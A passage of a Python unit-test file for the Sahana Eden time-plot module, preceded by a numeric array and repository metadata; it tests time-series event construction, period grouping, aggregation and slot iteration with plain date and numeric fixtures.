[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tudorian/eden
modules/unit_tests/s3/s3timeplot.py
5
66687
# -*- coding: utf-8 -*- # # Time Plot Unit Tests # # To run this script use: # python web2py.py -S eden -M -R applications/eden/modules/unit_tests/s3/s3timeplot.py # import datetime import random import unittest import dateutil.tz from gluon import * from s3.s3timeplot import * from s3.s3timeplot import tp_datetime from s3.s3query import FS # ============================================================================= class EventTests(unittest.TestCase): """ Tests for S3TimeSeriesEvent class """ def testSeries(self): """ Test series-method """ series = S3TimeSeriesEvent.series assertEqual = self.assertEqual # Explicit None should give {None} assertEqual(series(None), set([None])) # Single value should give {value} assertEqual(series(0), set([0])) assertEqual(series("A"), set(["A"])) # Empty list should give {None} assertEqual(series([]), set()) assertEqual(series([[], []]), set()) # List should give equivalent set assertEqual(series(["A", "B"]), set(["A", "B"])) assertEqual(series(["A", None]), set(["A", None])) assertEqual(series(["A", []]), set(["A"])) # Nested lists should be flattened assertEqual(series(["A", ["B", "C"]]), set(["A", "B", "C"])) assertEqual(series(["A", ["B", "A"]]), set(["A", "B"])) # ------------------------------------------------------------------------- def testConstruction(self): """ Test event construction """ assertEqual = self.assertEqual assertTrue = self.assertTrue start = tp_datetime(2004, 1, 1) end = tp_datetime(2004, 3, 21) event_id = 1 values = {"test": 2} # Test construction without values event = S3TimeSeriesEvent(event_id, start=start, end=end, ) assertEqual(event.event_id, event_id) assertTrue(isinstance(event.values, dict)) assertEqual(event["test"], None) # Test construction with values event = S3TimeSeriesEvent(event_id, start=start, end=end, values=values, ) assertEqual(event.event_id, event_id) assertEqual(event.values, values) assertEqual(event["test"], values["test"]) # Test construction with values and row event = S3TimeSeriesEvent(event_id, start=start, end=end, values=values, row = "A", ) self.assertEqual(event.event_id, event_id) self.assertEqual(event.values, values) self.assertEqual(event["test"], values["test"]) self.assertEqual(event.rows, set(["A"])) self.assertEqual(event.cols, set()) # Test construction with values and row/col event = S3TimeSeriesEvent(event_id, start=start, end=end, values=values, row = "B", col = [1, 4, 7], ) self.assertEqual(event.event_id, event_id) self.assertEqual(event.values, values) self.assertEqual(event["test"], values["test"]) self.assertEqual(event.rows, set(["B"])) self.assertEqual(event.cols, set([1, 4, 7])) # ------------------------------------------------------------------------- def testComparison(self): """ Test comparison method __lt__ for events (by sorting them) """ data = [ (8, (2012,1,12), (2013,9,19)), (2, None, (2013,4,21)), (6, (2013,4,14), (2013,5,7)), (3, (2012,4,21), (2013,6,3)), (4, (2013,4,18), (2013,5,27)), ] events = [] for event_id, start, end in data: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, ) events.append(event) order = [event.event_id for event in sorted(events)] self.assertEqual(order, [2, 8, 3, 6, 4]) # ============================================================================= class PeriodTests(unittest.TestCase): """ Tests for S3TimeSeriesPeriod """ def setUp(self): # Period start = tp_datetime(2013,4,1) end = tp_datetime(2013,7,1) period = S3TimeSeriesPeriod(start=start, end=end) # Add current events events = [ # 7 days (1, (2013,4,1), (2013,4,7), {"base": 10, "slope": 2}, "A", 1), (2, (2013,4,3), (2013,4,9), {"base": 20, "slope": 5}, "A", 2), (3, (2013,4,5), (2013,4,11), {"base": 30, "slope": 2}, "B", 2), (4, (2013,4,7), (2013,4,13), {"base": 40, "slope": 5}, "B", 3), # 10 days (5, (2013,5,1), (2013,5,10), {"base": 50, "slope": 5}, "C", 1), (6, (2013,5,3), (2013,5,12), {"base": 60, "slope": 2}, "C", 2), (7, (2013,5,5), (2013,5,14), {"base": 70, "slope": 5}, "A", 1), (8, (2013,5,7), (2013,5,16), {"base": 80, "slope": 2}, "A", 2), # 20 days (9, (2013,6,1), (2013,6,20), {"base": 100, "slope": 4}, "B", 2), (10, (2013,6,3), (2013,6,22), {"base": 200, "slope": 7}, "B", 3), (11, (2013,6,5), (2013,6,24), {"base": 300, "slope": 4}, "C", 1), (12, (2013,6,12), None, {"base": 400, "slope": 7}, "C", 3), ] for event_id, start, end, values, row, col in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, row = row, col = col, ) period.add_current(event) self.current_events = events # Add previous events events = [ # 10 days (13, (2012,8,1), (2012,8,10), {"base": 20, "slope": 5}, "A", 3), (14, (2012,8,3), (2012,8,12), {"base": 20, "slope": 5}, "B", 2), (15, None, (2012,8,14), {"base": 20, "slope": 5}, "C", 1), (16, (2012,8,7), (2012,8,16), {"base": 20, "slope": 5}, "C", 3), ] for event_id, start, end, values, row, col in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, row = row, col = col, ) period.add_previous(event) self.previous_events = events # Store period self.period = period # ------------------------------------------------------------------------- def testEvents(self): """ Verify events in test period """ assertTrue = self.assertTrue cevents = self.period.cevents for item in self.current_events: assertTrue(item[0] in cevents) pevents = self.period.pevents for item in self.previous_events: assertTrue(item[0] in pevents) # ------------------------------------------------------------------------- def testDuration(self): """ Test computation of event duration before the end of a period """ events = ( ((2013, 1, 1, 0, 0, 0), (2013, 1, 31, 0, 0, 0), 31), ((2013, 3, 1, 0, 0, 0), (2013, 4, 2, 0, 0, 0), 33), ((2013, 3, 8, 0, 0, 0), (2013, 8, 5, 0, 0, 0), 116), ((2013, 5, 1, 0, 0, 0), (2013, 9, 21, 0, 0, 0), 62), ((2013, 5, 1, 0, 0, 0), (2013, 5, 5, 0, 0, 0), 5), ((2013, 8, 5, 0, 0, 0), (2013, 9, 16, 0, 0, 0), 0), ) period = self.period for index, event in enumerate(events): start, end, expected_duration = event tp_event = S3TimeSeriesEvent(index, start=tp_datetime(*start), end=tp_datetime(*end), ) duration = period._duration(tp_event, "days") self.assertEqual(duration, expected_duration, msg = "Incorrect result for duration of event %s: %s != %s." % (index + 1, duration, expected_duration)) # ------------------------------------------------------------------------- def testGrouping(self): """ Test grouping of period events """ period = self.period period.group() assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows expected_rows = {"A": (1, 2, 7, 8), "B": (3, 4, 9, 10), "C": (5, 6, 11, 12), } rows = period._rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, set(expected_rows.get(k)), msg = "Row %s: %s != %s" % (k, v, set(expected_rows.get(k)))) # Check columns expected_cols = {1: (1, 5, 7, 11), 2: (2, 3, 6, 8, 9), 3: (4, 10, 12), } cols = period._cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, set(expected_cols.get(k)), msg = "Column %s: %s != %s" % (k, v, set(expected_cols.get(k)))) # Check matrix expected_matrix = {("A", 1): (1, 7), ("A", 2): (2, 8), #("A", 3): (empty), #("B", 1): (empty), ("B", 2): (3, 9), ("B", 3): (4, 10), ("C", 1): (5, 11), ("C", 2): (6,), ("C", 3): (12,), } matrix = period._matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, set(expected_matrix.get(k)), msg = "Cell %s: %s != %s" % (k, v, set(expected_matrix.get(k)))) # ------------------------------------------------------------------------- def testGroupingCumulative(self): """ Test grouping of period events including previous events """ period = self.period period.group(cumulative=True) assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows expected_rows = {"A": (1, 2, 7, 8, 13), "B": (3, 4, 9, 10, 14), "C": (5, 6, 11, 12, 15, 16), } rows = period._rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, set(expected_rows.get(k)), msg = "Row %s: %s != %s" % (k, v, set(expected_rows.get(k)))) # Check columns expected_cols = {1: (1, 5, 7, 11, 15), 2: (2, 3, 6, 8, 9, 14), 3: (4, 10, 12, 13, 16), } cols = period._cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, set(expected_cols.get(k)), msg = "Column %s: %s != %s" % (k, v, set(expected_cols.get(k)))) # Check matrix expected_matrix = {("A", 1): (1, 7), ("A", 2): (2, 8), ("A", 3): (13,), #("B", 1): (empty), ("B", 2): (3, 9, 14), ("B", 3): (4, 10), ("C", 1): (5, 11, 15), ("C", 2): (6,), ("C", 3): (12, 16), } matrix = period._matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, set(expected_matrix.get(k)), msg = "Cell %s: %s != %s" % (k, v, set(expected_matrix.get(k)))) # ------------------------------------------------------------------------- def testAggregateCount(self): """ Test aggregation: count """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("count", "base") # Check rows expected_rows = {"A": 4, "B": 4, "C": 4, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 4, 2: 5, 3: 3, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 2, ("A", 2): 2, ("B", 2): 2, ("B", 3): 2, ("C", 1): 2, ("C", 2): 1, ("C", 3): 1, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 12 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateSum(self): """ Test aggregation: sum """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("sum", "base") # Check rows expected_rows = {"A": 180, "B": 370, "C": 810, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 430, 2: 290, 3: 640, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 80, ("A", 2): 100, ("B", 2): 130, ("B", 3): 240, ("C", 1): 350, ("C", 2): 60, ("C", 3): 400, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 1360 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateAvg(self): """ Test aggregation: avg """ period = self.period assertEqual = self.assertEqual assertAlmostEqual = self.assertAlmostEqual # Aggregate total = period.aggregate("avg", "base") # Check rows expected_rows = {"A": 45, "B": 92.5, "C": 202.5, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertAlmostEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 107.5, 2: 58, 3: 213.3333333, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertAlmostEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 40, ("A", 2): 50, ("B", 2): 65, ("B", 3): 120, ("C", 1): 175, ("C", 2): 60, ("C", 3): 400, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertAlmostEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 113.3333333 assertAlmostEqual(period.total, expected_total) assertAlmostEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateMin(self): """ Test aggregation: min """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("min", "base") # Check rows expected_rows = {"A": 10, "B": 30, "C": 50, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 10, 2: 20, 3: 40, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 10, ("A", 2): 20, ("B", 2): 30, ("B", 3): 40, ("C", 1): 50, ("C", 2): 60, ("C", 3): 400, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 10 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateMax(self): """ Test aggregation: max """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("max", "base") # Check rows expected_rows = {"A": 80, "B": 200, "C": 400, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 300, 2: 100, 3: 400, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 70, ("A", 2): 80, ("B", 2): 100, ("B", 3): 200, ("C", 1): 300, ("C", 2): 60, ("C", 3): 400, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 400 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateCumulate(self): """ Test aggregation: cumulate """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("cumulate", "base", slope="slope", interval="days") # Check rows expected_rows = {"A": 369, "B": 709, "C": 1170, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns expected_cols = {1: 624, 2: 529, 3: 1095, } cols = period.cols assertEqual(set(cols.keys()), set(expected_cols.keys())) for k, v in cols.items(): assertEqual(v, expected_cols.get(k), msg = "Column %s: %s != %s" % (k, v, expected_cols.get(k))) # Check matrix expected_matrix = {("A", 1): 144, ("A", 2): 155, ("A", 3): 70, ("B", 2): 294, ("B", 3): 415, ("C", 1): 480, ("C", 2): 80, ("C", 3): 610, } matrix = period.matrix assertEqual(set(matrix.keys()), set(expected_matrix.keys())) for k, v in matrix.items(): assertEqual(v, expected_matrix.get(k), msg = "Cell %s: %s != %s" % (k, v, expected_matrix.get(k))) # Check total expected_total = 2248 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ============================================================================= class PeriodTestsSingleAxis(unittest.TestCase): """ Tests for S3TimeSeriesPeriod with single pivot axis """ def setUp(self): # Period start = tp_datetime(2013,4,1) end = tp_datetime(2013,7,1) period = S3TimeSeriesPeriod(start=start, end=end) # Add current events events = [ # 7 days (1, (2013,4,1), (2013,4,7), {"base": 10, "slope": 2}, "A"), (2, (2013,4,3), (2013,4,9), {"base": 20, "slope": 5}, "A"), (3, (2013,4,5), (2013,4,11), {"base": 30, "slope": 2}, "B"), (4, (2013,4,7), (2013,4,13), {"base": 40, "slope": 5}, "B"), # 10 days (5, (2013,5,1), (2013,5,10), {"base": 50, "slope": 5}, "C"), (6, (2013,5,3), (2013,5,12), {"base": 60, "slope": 2}, "C"), (7, (2013,5,5), (2013,5,14), {"base": 70, "slope": 5}, "A"), (8, (2013,5,7), (2013,5,16), {"base": 80, "slope": 2}, "A"), # 20 days (9, (2013,6,1), (2013,6,20), {"base": 100, "slope": 4}, "B"), (10, (2013,6,3), (2013,6,22), {"base": 200, "slope": 7}, "B"), (11, (2013,6,5), (2013,6,24), {"base": 300, "slope": 4}, "C"), (12, (2013,6,12), None, {"base": 400, "slope": 7}, "C"), ] for event_id, start, end, values, row in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, row = row, ) period.add_current(event) self.current_events = events # Add previous events events = [ # 10 days (13, (2012,8,1), (2012,8,10), {"base": 20, "slope": 5}, "A"), (14, (2012,8,3), (2012,8,12), {"base": 20, "slope": 5}, "B"), (15, None, (2012,8,14), {"base": 20, "slope": 5}, "C"), (16, (2012,8,7), (2012,8,16), {"base": 20, "slope": 5}, "C"), ] for event_id, start, end, values, row in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, row = row, ) period.add_previous(event) self.previous_events = events # Store period self.period = period # ------------------------------------------------------------------------- def testGrouping(self): """ Test grouping of period events (single axis) """ period = self.period period.group() assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows expected_rows = {"A": (1, 2, 7, 8), "B": (3, 4, 9, 10), "C": (5, 6, 11, 12), } rows = period._rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, set(expected_rows.get(k)), msg = "Row %s: %s != %s" % (k, v, set(expected_rows.get(k)))) # Check columns assertEqual(period._cols, {}) # Check matrix assertEqual(period._matrix, {}) # ------------------------------------------------------------------------- def testGroupingCumulative(self): """ Test grouping of period events including previous events (single axis) """ period = self.period period.group(cumulative=True) assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows expected_rows = {"A": (1, 2, 7, 8, 13), "B": (3, 4, 9, 10, 14), "C": (5, 6, 11, 12, 15, 16), } rows = period._rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, set(expected_rows.get(k)), msg = "Row %s: %s != %s" % (k, v, set(expected_rows.get(k)))) # Check columns assertEqual(period._cols, {}) # Check matrix assertEqual(period._matrix, {}) # ------------------------------------------------------------------------- def testAggregateCount(self): """ Test aggregation: count (single axis) """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("count", "base") # Check rows expected_rows = {"A": 4, "B": 4, "C": 4, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns assertEqual(period.cols, {}) # Check matrix assertEqual(period.matrix, {}) # Check total expected_total = 12 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateSum(self): """ Test aggregation: sum (single axis) """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("sum", "base") # Check rows expected_rows = {"A": 180, "B": 370, "C": 810, } rows = period.rows assertEqual(set(rows.keys()), set(expected_rows.keys())) for k, v in rows.items(): assertEqual(v, expected_rows.get(k), msg = "Row %s: %s != %s" % (k, v, expected_rows.get(k))) # Check columns assertEqual(period.cols, {}) # Check matrix assertEqual(period.matrix, {}) # Check total expected_total = 1360 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ============================================================================= class PeriodTestsNoGroups(unittest.TestCase): """ Tests for S3TimeSeriesPeriod without grouping """ def setUp(self): # Period start = tp_datetime(2013,4,1) end = tp_datetime(2013,7,1) period = S3TimeSeriesPeriod(start=start, end=end) # Add current events events = [ # 7 days (1, (2013,4,1), (2013,4,7), {"base": 10, "slope": 2}), (2, (2013,4,3), (2013,4,9), {"base": 20, "slope": 5}), (3, (2013,4,5), (2013,4,11), {"base": 30, "slope": 2}), (4, (2013,4,7), (2013,4,13), {"base": 40, "slope": 5}), # 10 days (5, (2013,5,1), (2013,5,10), {"base": 50, "slope": 5}), (6, (2013,5,3), (2013,5,12), {"base": 60, "slope": 2}), (7, (2013,5,5), (2013,5,14), {"base": 70, "slope": 5}), (8, (2013,5,7), (2013,5,16), {"base": 80, "slope": 2}), # 20 days (9, (2013,6,1), (2013,6,20), {"base": 100, "slope": 4}), (10, (2013,6,3), (2013,6,22), {"base": 200, "slope": 7}), (11, (2013,6,5), (2013,6,24), {"base": 300, "slope": 4}), (12, (2013,6,12), None, {"base": 400, "slope": 7}), ] for event_id, start, end, values in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, ) period.add_current(event) self.current_events = events # Add previous events events = [ # 10 days (13, (2012,8,1), (2012,8,10), {"base": 20, "slope": 5}), (14, (2012,8,3), (2012,8,12), {"base": 20, "slope": 5}), (15, None, (2012,8,14), {"base": 20, "slope": 5}), (16, (2012,8,7), (2012,8,16), {"base": 20, "slope": 5}), ] for event_id, start, end, values in events: event_start = tp_datetime(*start) if start else None event_end = tp_datetime(*end) if end else None event = S3TimeSeriesEvent(event_id, start = event_start, end = event_end, values = values, ) period.add_previous(event) self.previous_events = events # Store period self.period = period # ------------------------------------------------------------------------- def testGrouping(self): """ Test grouping of period events (no grouping) """ period = self.period period.group() assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows assertEqual(period._rows, {}) # Check columns assertEqual(period._cols, {}) # Check matrix assertEqual(period._matrix, {}) # ------------------------------------------------------------------------- def testGroupingCumulative(self): """ Test grouping of period events including previous events (no grouping) """ period = self.period period.group(cumulative=True) assertTrue = self.assertTrue assertEqual = self.assertEqual # Check rows assertEqual(period._rows, {}) # Check columns assertEqual(period._cols, {}) # Check matrix assertEqual(period._matrix, {}) # ------------------------------------------------------------------------- def testAggregateCount(self): """ Test aggregation: count (no grouping) """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("count", "base") # Check rows assertEqual(period.rows, {}) # Check columns assertEqual(period.cols, {}) # Check matrix assertEqual(period.matrix, {}) # Check total expected_total = 12 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateSum(self): """ Test aggregation: sum (no grouping) """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("sum", "base") # Check rows assertEqual(period.rows, {}) # Check columns assertEqual(period.cols, {}) # Check matrix assertEqual(period.matrix, {}) # Check total expected_total = 1360 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ------------------------------------------------------------------------- def testAggregateCumulate(self): """ Test aggregation: cumulate (no grouping) """ period = self.period assertEqual = self.assertEqual # Aggregate total = period.aggregate("cumulate", "base", slope="slope", interval="days") # Check rows assertEqual(period.rows, {}) # Check columns assertEqual(period.cols, {}) # Check matrix assertEqual(period.matrix, {}) # Check total expected_total = 2248 assertEqual(period.total, expected_total) assertEqual(total, expected_total) # ============================================================================= class EventFrameTests(unittest.TestCase): """ Tests for S3TimeSeriesEventFrame class """ def setUp(self): data = [ # Always (1, None, None, {"test": 2}), # First two quarters (2, None, (2012,6,19), {"test": 5}), # Last three quarters (3, (2012,5,1), None, {"test": 8}), # First and Second Quarter (4, (2012,1,14), (2012,5,7), {"test": 3}), # Second and Third Quarter (5, (2012,5,1), (2012,7,21), {"test": 2}), # Third and Fourth Quarter (6, (2012,8,8), (2012,11,3), {"test": 1}), # Only Fourth Quarter (7, (2012,10,18), (2013,5,27), {"test": 9}), # Ended before Event Frame (8, (2011,1,1), (2011,12,6), {"test": 9}), # Starting after Event Frame (9, (2013,1,18), (2013,5,27), {"test": 3}), ] events = [] for event_id, start, end, values in data: events.append(S3TimeSeriesEvent(event_id, start=tp_datetime(*start) if start else None, end=tp_datetime(*end) if end else None, values=values, )) self.events = events # ------------------------------------------------------------------------- def testExtend(self): """ Test correct grouping of events into periods """ # Create event frame and add events ef = S3TimeSeriesEventFrame(tp_datetime(2012,1,1), tp_datetime(2012,12,15), slots="3 months") ef.extend(self.events) # Expected result (start, end, previous, current, results) expected = [ ((2012, 1, 1), (2012, 4, 1), [8], [1, 2, 4], (10, 5, 117)), ((2012, 4, 1), (2012, 7, 1), [8], [1, 2, 3, 4, 5], (20, 8, 150)), ((2012, 7, 1), (2012, 10, 1), [8, 2, 4], [1, 3, 5, 6], (13, 8, 176)), ((2012, 10, 1), (2012, 12, 15), [8, 2, 4, 5], [1, 3, 6, 7], (20, 9, 211)), ] # Check assertEqual = self.assertEqual for i, period in enumerate(ef): start, end, previous, current, expected_result = expected[i] # Check start/end date of period assertEqual(period.start, tp_datetime(*start)) assertEqual(period.end, tp_datetime(*end)) # Check current events in period event_ids = period.cevents.keys() assertEqual(set(event_ids), set(current)) # Check previous events in period event_ids = period.pevents.keys() assertEqual(set(event_ids), set(previous)) # Check aggregation result = period.aggregate("sum", "test") assertEqual(result, expected_result[0]) result = period.aggregate("max", "test") assertEqual(result, expected_result[1]) result = period.aggregate("cumulate", None, slope="test", interval="months", ) assertEqual(result, expected_result[2]) # ------------------------------------------------------------------------- def testPeriodsDays(self): """ Test iteration over periods (days) """ assertEqual = self.assertEqual ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 8), slots="days") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 6)), (tp_datetime(2011, 1, 6), tp_datetime(2011, 1, 7)), (tp_datetime(2011, 1, 7), tp_datetime(2011, 1, 8))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 16), slots="4 days") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 9)), (tp_datetime(2011, 1, 9), tp_datetime(2011, 1, 13)), (tp_datetime(2011, 1, 13), tp_datetime(2011, 1, 16))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) # ------------------------------------------------------------------------- def testPeriodsWeeks(self): """ Test iteration over periods (weeks) """ assertEqual = self.assertEqual ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 28), slots="weeks") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 12)), (tp_datetime(2011, 1, 12), tp_datetime(2011, 1, 19)), (tp_datetime(2011, 1, 19), tp_datetime(2011, 1, 26)), (tp_datetime(2011, 1, 26), tp_datetime(2011, 1, 28))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), tp_datetime(2011, 2, 16), slots="2 weeks") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 1, 19)), (tp_datetime(2011, 1, 19), tp_datetime(2011, 2, 2)), (tp_datetime(2011, 2, 2), tp_datetime(2011, 2, 16))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) # ------------------------------------------------------------------------- def testPeriodsMonths(self): """ Test iteration over periods (months) """ assertEqual = self.assertEqual ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), tp_datetime(2011, 4, 28), slots="months") expected = [(tp_datetime(2011, 1, 5), tp_datetime(2011, 2, 5)), (tp_datetime(2011, 2, 5), tp_datetime(2011, 3, 5)), (tp_datetime(2011, 3, 5), tp_datetime(2011, 4, 5)), (tp_datetime(2011, 4, 5), tp_datetime(2011, 4, 28))] for i, period in enumerate(ef): assertEqual(period.start, expected[i][0]) assertEqual(period.end, expected[i][1]) ef = S3TimeSeriesEventFrame(tp_datetime(2011, 1, 5), 